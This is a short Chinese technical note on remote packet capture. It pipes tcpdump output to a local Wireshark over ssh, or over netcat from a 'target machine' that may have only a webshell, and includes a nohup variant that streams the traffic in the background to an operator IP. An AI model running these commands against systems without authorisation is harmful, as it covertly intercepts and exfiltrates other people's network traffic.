远程抓包方法

在实际环境中,可能会遇到部分目标机器存在性能差,存储空间小等情况,导致无法长时间在目标机抓流量并存储数据包

此时我们可以尝试利用目标机工具,对其进行远程抓包,从而避免将数据包存储在目标机上

Tcpdump+ssh+wireshark

(50条消息) 用wireshark+tcpdump+ssh远程抓包并实时显示_tcpdump 抓包实时转发_转转耳朵的博客-CSDN博客

利用ssh登录远程主机,然后命令tcpdump开启抓包,并将tcpdump抓到的结果输出到stdout,再传回本地PC机,而本地PC机上的wireshark以stdin为输入,两者以管道连接传输

命令

1
ssh root@some.host 'tcpdump -i eth0 port not 22 -s 0 -l -w -' | wireshark -k -i -

命令执行后会弹出wireshark界面,这时需要切回刚刚的命令行,因为需要输入密码以登录远程主机(已经配置免密另说),连接成功后即开始抓包,并在本地PC的wireshark上实时显示抓包结果。

==注意==

由于是通过ssh隧道和远程主机进行的链接,链接中的通讯也会被抓取,从而导致数据包大小不断成倍增长

可尝试不抓ssh端口的数据包,或者只抓内网通讯网卡的数据包

参数解释

tcpdump中 -l (这里是小写的字母L)是指line-buffer,即不使用缓存,直接输出,否则就会一段段的输出

-w -是指写文件,目标文件为标准输出。

wireshark中 -k 是指马上开始捕获数据,-i - 是指从指定接口获取,源为标准输入。

截图

image-20230520191907142

Tcpdump+nc+wireshark

如果某些机器上没有ssh(例如某些路由器只有Telnet,或者只有webshell),则可以使用nc进行数据传输

==注意==

同样,要避免抓取通讯端口的数据包

image-20230520193304708

命令

目标机

1
tcpdump -i eth0 port not 2333 -s 0 -l -w - | nc 192.168.2.111 2333

操作机

1
nc -lvp 2333 | wireshark -k -i -

image-20230520193735800

Tcpdump+nc+nohup+wireshark

直接挂在后台进行抓包,注意nohup会在管道符之前截断,需要用sh -c 将管道符包含起来

1
nohup sh -c 'tcpdump -i eth0 port not 2333 -s 0 -l -w - | nc 192.168.2.111 2333' &

image-20230520194915007